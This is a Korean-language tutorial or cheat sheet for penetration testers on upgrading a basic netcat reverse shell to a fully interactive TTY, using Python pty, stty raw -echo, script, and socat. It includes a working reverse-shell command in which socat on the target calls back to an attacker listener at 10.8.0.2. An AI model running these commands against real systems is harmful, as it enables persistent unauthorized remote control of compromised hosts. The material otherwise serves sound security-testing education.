리버스 쉘 업그레이드
덤 쉘 (Dumb Shell)의 한계
nc -lvnp 8080으로 받는 기본 리버스 쉘은 **덤 쉘(Dumb Shell)**로, 다음 기능이 부족합니다:
부족한 기능
-
터미널 조절 기능 부재
Ctrl+C,Ctrl+Z등 특수 문자 조합 불가- Line editing 기능 없음
-
Job Control 부재
- 프로세스 백그라운드/포어그라운드 전환 불가
- 다중 프로세스 관리 불가
-
시그널 핸들링 불가
- 프로세스 간 시그널 송수신 불가
- 프로세스 상태 변화 감지 불가
업그레이드 명령어
# 1. PTY 생성
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 2. 백그라운드화
Ctrl+Z
# 3. 터미널 설정
stty raw -echo; fg
# 4. 리셋
reset
# 5. 환경 변수 설정
export SHELL=bash
export TERM=xterm-256color
각 단계 설명
1. PTY (Pseudo-Terminal) 생성
python3 -c 'import pty; pty.spawn("/bin/bash")'
- Python의
pty모듈로 가상 터미널 생성 /bin/bash를 PTY에 연결- 실제 터미널과 유사한 환경 제공
2. 백그라운드화
Ctrl+Z
- 현재 리버스 쉘을 백그라운드로 이동
- 공격자 터미널에서 명령어 실행 준비
3. 터미널 설정 변경
stty raw -echo; fg
stty raw -echo:
raw: 라인 버퍼링 비활성화 (키 입력 즉시 전송)-echo: 입력값이 터미널에 표시되지 않도록 설정
fg:
- 리버스 쉘을 다시 포어그라운드로 전환
4. 터미널 리셋
reset
- 터미널 설정을 리버스 쉘에 적용
- 환경 초기화
5. 환경 변수 설정
export SHELL=bash
export TERM=xterm-256color
- 쉘 환경 설정
- 색상 및 터미널 기능 활성화
업그레이드 효과
업그레이드 후:
- ✅
Ctrl+C: 현재 명령 중단 (nc 종료 안 됨) - ✅
Ctrl+Z: 프로세스 백그라운드화 - ✅ 탭 자동완성 작동
- ✅ 화살표 키로 명령어 히스토리 탐색
- ✅ 텍스트 편집기 정상 작동
대체 업그레이드 방법
Python이 없는 경우
# Script 명령어 사용
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
reset
Socat 사용 (가장 안정적)
# 공격자 머신에서
socat file:`tty`,raw,echo=0 tcp-listen:4444
# 대상 시스템에서
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.8.0.2:4444
터미널 크기 조정
# 공격자 터미널에서 크기 확인
stty size
# 출력 예: 24 80
# 리버스 쉘에서 크기 설정
stty rows 24 columns 80
주요 명령어 요약
# 기본 업그레이드
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color
# Script 사용
script /dev/null -c bash
# 터미널 크기 확인
stty size
# 터미널 크기 설정
stty rows <행> columns <열>
문제 해결
화면이 깨진 경우
reset
export TERM=xterm-256color
Ctrl+C가 여전히 연결을 끊는 경우
# stty 설정 다시 확인
stty raw -echo
fg
입력이 보이지 않는 경우
reset
stty sane